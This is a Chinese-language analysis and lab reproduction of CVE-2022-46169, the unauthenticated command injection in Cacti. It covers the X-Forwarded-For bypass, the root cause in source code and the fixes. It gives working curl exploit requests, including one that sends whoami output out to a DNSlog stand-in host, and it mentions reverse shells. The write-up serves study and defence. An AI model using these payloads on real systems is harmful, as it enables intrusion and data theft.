1. 漏洞概述
CVE-2022-46169(GitHub Advisory:GHSA-6p93-p743-35gf)是 Cacti 监控平台 remote_agent.php 中一处未认证命令注入漏洞,由 Stefan Schiller(SonarSource)与 Steven Seeley(mr_me)独立发现,2022 年 12 月公开披露。
攻击者不需要任何账号,只需一个精心构造的 HTTP 请求,就能在 Cacti 服务器上以 www-data 权限执行任意命令,属于典型的”一请求打穿”漏洞,因此在野外被大规模扫描利用(很多僵尸网络用它投递挖矿木马)。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2022-46169(GHSA-6p93-p743-35gf) |
| 漏洞类型 | 认证绕过 + 命令注入(未认证 RCE) |
| 影响版本 | 1.2.22 及更早(即 < 1.2.23) |
| 修复版本 | 1.2.23 |
| CVSS | 9.8(Critical,NVD CVSS v3.1) |
| 触发条件 | 存在 action=2(POLLER_ACTION_SCRIPT_PHP)类型 poller_item 的数据源 |
⚠️ 版本坑:网上很多文章写”修复于 1.2.22”,不准确。NVD 的 CPE 范围为
versionEndExcluding: 1.2.23,即 1.2.22 是最后一个受影响版本。对比源码可见 1.2.22 标签的remote_agent.php与 1.2.16 逐字节相同(仅版权年份不同),官方修复 commit(2022-12-05 合入)在 CHANGELOG 里归入 1.2.23 版本。Vulhub 的靶场镜像用的就是 1.2.22,照样能打。
2. 漏洞原理
漏洞由两个独立缺陷组合而成,缺一不可:
- 认证绕过:
remote_agent.php通过remote_client_authorized()做”仅允许 poller 服务器访问”的校验,而它判断客户端 IP 用的get_client_addr()完全信任 HTTP 头,可被伪造。 - 命令注入:
polldataaction 中poller_id参数未经过滤,直接拼接进proc_open()的命令字符串。
先看认证部分(Cacti 1.2.16 lib/functions.php):
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For', // ← 排第一,最先被采用
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR', // ← 真实来源地址反而排最后
);
$client_addr = false;
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
...
} else {
$client_addr = $header_ip; // 第一个非空且合法的 IP 直接采用
break;
}
}
}
}
}
return $client_addr;
}
再配合 remote_agent.php 里的 remote_client_authorized():它把 get_client_addr() 得到的 IP 反解成主机名,与 poller 表里注册的 poller 主机名比对。默认安装下 poller 表的 hostname 是 localhost,而 gethostbyaddr('127.0.0.1') 恰好返回 localhost。
然后是注入点(1.2.16/1.2.22 remote_agent.php 的 poll_for_data()):
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id'); // ← 未过滤,原样取值
...
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary')
. ' -q ' . $config['base_path']
. '/script_server.php realtime ' . $poller_id, // ← 直接拼进命令
$cactides, $pipes);
...
}
proc_open() 的字符串形式走 /bin/sh -c,$poller_id 里的反引号、;、|、$() 都会被 shell 解释,形成命令注入。而 $poller_id 来自 get_nfilter_request_var()——不做任何过滤。
3. 认证绕过:X-Forwarded-For 头欺骗
由于 get_client_addr() 遍历头列表时”先到先得”,攻击者只要在请求里带上:
X-Forwarded-For: 127.0.0.1
get_client_addr() 就会返回 127.0.0.1(真实的 REMOTE_ADDR 被无视,因为循环在 X-Forwarded-For 处就 break 了)。随后 gethostbyaddr('127.0.0.1') 反解为 localhost,与 poller 表默认主机名匹配,认证直接通过。头里的逗号列表也只取第一个 IP,X-Forwarded-For: 127.0.0.1, 8.8.8.8 同样有效。
对比实验——不带伪造头,请求直接被拒:
# 无 X-Forwarded-For:认证被拒
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'
FATAL: You are not authorized to use this service
# 带上 X-Forwarded-For: 127.0.0.1:认证通过,返回 JSON
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1' \
-H 'X-Forwarded-For: 127.0.0.1'
[{"value":"U","rrd_name":"uptime","local_data_id":"6"}]
4. 命令注入 Payload
最经典的 PoC 来自 Vulhub,用反引号包裹命令(+ 会被 PHP 按 URL 编码规则解码为空格):
# 盲注验证:touch 一个文件
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
-H 'X-Forwarded-For: 127.0.0.1'
注意两点:
- 整条 URL 用单引号包裹,bash 不会把反引号当命令替换执行;
- query 里的空格用
+编码,反引号无需编码。
执行 id / whoami 并回读结果(注入是盲注,命令输出不会直接出现在 HTTP 响应里,先落盘再从容器里读):
# 执行 id,输出重定向到 /tmp/pwned(注意 > 后也要用 + 编码空格)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>+/tmp/pwned`' \
-H 'X-Forwarded-For: 127.0.0.1'
# 在靶场容器里读取执行结果
docker exec $(docker compose ps -q web) cat /tmp/pwned
# 输出示例:uid=33(www-data) gid=33(www-data) groups=33(www-data)
除了反引号,;、|、$() 等 shell 语法同样可用。由于没有回显,实战中常用两种方式确认命令执行:写文件后二次读取(如上面这样),或 DNSlog / OOB 外带:
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+http://your-dnslog.ceye.io/$(whoami)`' \
-H 'X-Forwarded-For: 127.0.0.1'
5. 复现过程
5.1 起靶场(Vulhub)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CVE-2022-46169
docker compose up -d
Compose 里是 vulhub/cacti:1.2.22(注意:这个 1.2.22 是含漏洞的)+ mysql:5.7,Web 端口映射到本机 8080。启动后访问 http://127.0.0.1:8080 是 Cacti 登录页。
5.2 初始化 + 准备可利用的数据源
- 用默认账号
admin/admin登录; - 跟着初始化向导一路点 Next,完成建库建表;
- 关键一步:创建一个新图形,类型选 “Device - Uptime”(默认图形类型触发不了注入,必须有一个
POLLER_ACTION_SCRIPT_PHP类型的数据源)。
命令注入能打成功依赖一个前提:host_id + local_data_ids 组合必须对应一条 action = 2(POLLER_ACTION_SCRIPT_PHP)的 poller_item 记录。初始化后的默认主机就是 host_id=1(Local Linux Machine),而创建 “Device - Uptime” 图形会生成对应的数据源,local_data_ids[0]=6 恰好命中。
如果不知道哪个 ID 组合可用,Metasploit 模块(exploit/linux/http/cacti_unauthenticated_cmd_injection)的思路是暴力枚举 host_id 15 × 100:用随机的数字 local_data_id 1poller_id 发请求,凡是响应为非空 JSON 数组(元素含 value / rrd_name / local_data_id 三个键)的组合就是候选目标。
5.3 打
# 无 X-Forwarded-For → FATAL 拒绝(对照组)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'
# 带 X-Forwarded-For → 命令注入执行 touch /tmp/success
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
-H 'X-Forwarded-For: 127.0.0.1'
# 容器内确认文件已创建
docker exec $(docker compose ps -q web) ls -l /tmp/success
# -rw-r--r-- 1 www-data www-data 0 ... /tmp/success
响应体里看不到命令输出(Vulhub 原文:“Although no command result in the response”),但 /tmp/success 确实被 touch 出来了——盲注 RCE 成立。拿到 shell 之后常规操作:反弹 shell、提权、横向,这里不再展开。
6. 修复
6.1 升级版本(根治)
升级到 1.2.23 或更高版本。官方修复 commit(b43f13ae,2022-12-05 合入)做了三处改动:
remote_agent.php:$poller_id改用get_filter_request_var()做数字校验,且proc_open()前用cacti_escapeshellarg($poller_id)转义——命令注入点封死;run_remote_discovery()的network参数同样加cacti_escapeshellarg()转义;lib/functions.php的get_client_addr()重构,引入$proxy_headers配置项(见下),不再无条件信任代理头。
6.2 收紧 get_client_addr(1.2.23+ 仍需手动配置)
升级后 get_client_addr() 默认行为仍是”信任所有已知代理头”(向后兼容,会打 WARNING 日志提示未来默认改为 false)。务必在 include/config.php 里显式设置:
// false:只信任 REMOTE_ADDR(推荐)
// true:信任所有代理头(不推荐)
// 数组:仅信任列出的头,如 array('X-Forwarded-For')
$proxy_headers = false;
这样即使有人伪造 X-Forwarded-For,get_client_addr() 也只会返回 $_SERVER['REMOTE_ADDR'],认证绕过直接失效。
6.3 访问控制(纵深防御)
remote_agent.php 本来就是给 poller 服务器调用的内部接口,理应只对 poller 开放:
# Nginx 层限制:只允许 poller 服务器访问
location ~ ^/remote_agent\.php$ {
allow 10.0.0.10; # 替换为实际 poller 服务器 IP
deny all;
# 反代场景下统一覆盖伪造头,杜绝 XFF 注入
proxy_set_header X-Forwarded-For $remote_addr;
}
网络层防火墙同理:只放行 poller 服务器 IP 访问 Cacti 的 80/443。注意不要简单粗暴地全局拦 X-Forwarded-For——很多环境反代/WAF 会合法附加该头,正确做法是让应用只信任 REMOTE_ADDR(即 6.2 的配置),反代在入口统一覆盖 XFF。
6.4 检测
- 失败尝试会在
cacti.log留下Unauthorized remote agent access attempt from xxx; - 成功绕过会记录
Using remote client IP Address found in header (X-Forwarded-For)的 DEBUG 日志; - WAF 规则可重点看
remote_agent.php+poller_id参数中是否出现反引号、;、|、$()等字符。
小结
CVE-2022-46169 是”信任客户端可控头 + 危险函数未过滤参数”两个低级错误的经典组合:一个 X-Forwarded-For: 127.0.0.1 绕过基于 IP 的弱认证,一个未转义的 poller_id 直达 proc_open(),最终拼出无需认证的 RCE。排查自己资产时,先看 Cacti 版本(1.2.22 及更早全部中招,别被”1.2.22 已修复”的错误说法误导),再确认 $proxy_headers 配置,最后用上面的 curl 在授权靶场里验证。